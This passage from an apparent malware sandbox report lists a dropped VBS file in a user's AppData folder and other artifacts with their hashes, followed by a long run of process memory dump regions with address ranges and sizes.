        Filesize

        7KB

        MD5

        d6e1776267b8a1517af25a6d456972ed

        SHA1

        55e1abdee2d36252edb631c28c8d989ef1e36c2f

        SHA256

        871c819b73630d27a71734bb151e39aa0bce02f8f580c386a8e8d3f9141c63b4

        SHA512

        633c9a523f049d0ee9d8662339a6010acc91ca94a580da2725e724b98006b400e3f1f66f6ba403bc17ad7622eb758a37df1c89cbfb856254c23c999b6921e25d

      • C:\Users\Admin\AppData\Roaming\loverkissedeachothers.vbs

        Filesize

        292KB

        MD5

        7cfb0e8a02678ccbd305bea1d747a88e

        SHA1

        e668cd320ee4abf2fd589140ada76b73187f6ab9

        SHA256

        c4e00149e62cc05e31e3aeeb5e26edd925a68a1c43dfeaca8441bdf54e8e9494

        SHA512

        73d704b83111b8efb46ec97ea772fbe80dcb3e1942b6cdf0e38571cec8c9ab31d1fb98144be92d3002985a70ca91ae51d4eee50655a2345e68484b8d32bd88db

      • memory/1628-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

        Filesize

        64KB

      • memory/1628-452-0x000000007121D000-0x0000000071228000-memory.dmp

        Filesize

        44KB

      • memory/1628-2-0x000000007121D000-0x0000000071228000-memory.dmp

        Filesize

        44KB

      • memory/1628-0-0x000000002F6D1000-0x000000002F6D2000-memory.dmp

        Filesize

        4KB

      • memory/1628-125-0x000000007121D000-0x0000000071228000-memory.dmp

        Filesize

        44KB

      • memory/1912-419-0x0000000000400000-0x0000000000462000-memory.dmp

        Filesize

        392KB

      • memory/1912-397-0x0000000000400000-0x0000000000462000-memory.dmp

        Filesize

        392KB

      • memory/1912-383-0x0000000000400000-0x0000000000462000-memory.dmp

        Filesize

        392KB

      • memory/1912-394-0x0000000000400000-0x0000000000462000-memory.dmp

        Filesize

        392KB

      • memory/1912-388-0x0000000000400000-0x0000000000462000-memory.dmp

        Filesize

        392KB

      • memory/1912-392-0x0000000000400000-0x0000000000462000-memory.dmp

        Filesize

        392KB

      • memory/1988-402-0x0000000000400000-0x0000000000424000-memory.dmp

        Filesize

        144KB

      • memory/1988-401-0x0000000000400000-0x0000000000424000-memory.dmp

        Filesize

        144KB

      • memory/1988-393-0x0000000000400000-0x0000000000424000-memory.dmp

        Filesize

        144KB

      • memory/1988-400-0x0000000000400000-0x0000000000424000-memory.dmp

        Filesize

        144KB

      • memory/1988-403-0x0000000000400000-0x0000000000424000-memory.dmp

        Filesize

        144KB

      • memory/1988-398-0x0000000000400000-0x0000000000424000-memory.dmp

        Filesize

        144KB

      • memory/1988-404-0x0000000000400000-0x0000000000424000-memory.dmp

        Filesize

        144KB

      • memory/2024-338-0x0000000069DA0000-0x000000006A34B000-memory.dmp

        Filesize

        5.7MB

      • memory/2024-336-0x0000000069DA0000-0x000000006A34B000-memory.dmp

        Filesize

        5.7MB

      • memory/2024-339-0x00000000028B0000-0x00000000028F0000-memory.dmp

        Filesize

        256KB

      • memory/2024-337-0x00000000028B0000-0x00000000028F0000-memory.dmp

        Filesize

        256KB

      • memory/2024-395-0x00000000028B0000-0x00000000028F0000-memory.dmp

        Filesize

        256KB

      • memory/2120-346-0x0000000000400000-0x0000000000482000-memory.dmp

        Filesize

        520KB

      • memory/2120-416-0x0000000010000000-0x0000000010019000-memory.dmp

        Filesize

        100KB

      • memory/2120-356-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

        Filesize

        4KB

      • memory/2120-363-0x0000000000400000-0x0000000000482000-memory.dmp

        Filesize

        520KB

      • memory/2120-366-0x0000000000400000-0x0000000000482000-memory.dmp

        Filesize

        520KB

      • memory/2120-412-0x0000000010000000-0x0000000010019000-memory.dmp

        Filesize

        100KB

      • memory/2120-364-0x0000000000400000-0x0000000000482000-memory.dmp

        Filesize

        520KB

      • memory/2120-367-0x0000000000400000-0x0000000000482000-memory.dmp

        Filesize

        520KB

      • memory/2120-368-0x0000000000400000-0x0000000000482000-memory.dmp

        Filesize

        520KB

      • memory/2120-369-0x0000000000400000-0x0000000000482000-memory.dmp

        Filesize

        520KB

      • memory/2120-370-0x0000000000400000-0x0000000000482000-memory.dmp

        Filesize

        520KB

      • memory/2120-371-0x0000000000400000-0x0000000000482000-memory.dmp

        Filesize

        520KB

      • memory/2120-373-0x0000000000400000-0x0000000000482000-memory.dmp

        Filesize

        520KB

      • memory/2120-411-0x0000000000400000-0x0000000000482000-memory.dmp

        Filesize

        520KB

      • memory/2120-358-0x0000000000400000-0x0000000000482000-memory.dmp

        Filesize

        520KB

      • memory/2120-360-0x0000000000400000-0x0000000000482000-memory.dmp

        Filesize

        520KB

      • memory/2120-354-0x0000000000400000-0x0000000000482000-memory.dmp

        Filesize

        520KB

      • memory/2120-352-0x0000000000400000-0x0000000000482000-memory.dmp

        Filesize

        520KB

      • memory/2120-348-0x0000000000400000-0x0000000000482000-memory.dmp

        Filesize

        520KB

      • memory/2120-350-0x0000000000400000-0x0000000000482000-memory.dmp

        Filesize

        520KB

      • memory/2120-344-0x0000000000400000-0x0000000000482000-memory.dmp

        Filesize

        520KB

      • memory/2120-342-0x0000000000400000-0x0000000000482000-memory.dmp

        Filesize

        520KB

      • memory/2120-340-0x0000000000400000-0x0000000000482000-memory.dmp

        Filesize

        520KB

      • memory/2120-415-0x0000000010000000-0x0000000010019000-memory.dmp

        Filesize

        100KB

      • memory/2120-417-0x0000000010000000-0x0000000010019000-memory.dmp

        Filesize

        100KB

      • memory/2120-418-0x0000000000400000-0x0000000000482000-memory.dmp

        Filesize

        520KB

      • memory/2120-453-0x0000000010000000-0x0000000010019000-memory.dmp

        Filesize

        100KB

      • memory/2528-252-0x0000000069DA0000-0x000000006A34B000-memory.dmp

        Filesize

        5.7MB

      • memory/2528-361-0x0000000069DA0000-0x000000006A34B000-memory.dmp

        Filesize

        5.7MB

      • memory/2528-253-0x0000000069DA0000-0x000000006A34B000-memory.dmp

        Filesize

        5.7MB

      • memory/2528-333-0x0000000069DA0000-0x000000006A34B000-memory.dmp

        Filesize

        5.7MB

      • memory/2616-246-0x00000000028F0000-0x0000000002930000-memory.dmp

        Filesize

        256KB

      • memory/2616-365-0x0000000069DA0000-0x000000006A34B000-memory.dmp

        Filesize

        5.7MB

      • memory/2616-327-0x0000000069DA0000-0x000000006A34B000-memory.dmp

        Filesize

        5.7MB

      • memory/2616-245-0x00000000028F0000-0x0000000002930000-memory.dmp

        Filesize

        256KB

      • memory/2616-244-0x0000000069DA0000-0x000000006A34B000-memory.dmp

        Filesize

        5.7MB

      • memory/2616-243-0x0000000069DA0000-0x000000006A34B000-memory.dmp

        Filesize

        5.7MB

      • memory/2908-379-0x0000000000400000-0x0000000000478000-memory.dmp

        Filesize

        480KB

      • memory/2908-409-0x0000000000400000-0x0000000000478000-memory.dmp

        Filesize

        480KB

      • memory/2908-374-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

        Filesize

        4KB

      • memory/2908-376-0x0000000000400000-0x0000000000478000-memory.dmp

        Filesize

        480KB

      • memory/2908-387-0x0000000000400000-0x0000000000478000-memory.dmp

        Filesize

        480KB

      • memory/2908-386-0x0000000000400000-0x0000000000478000-memory.dmp

        Filesize

        480KB

      • memory/2908-382-0x0000000000400000-0x0000000000478000-memory.dmp

        Filesize

        480KB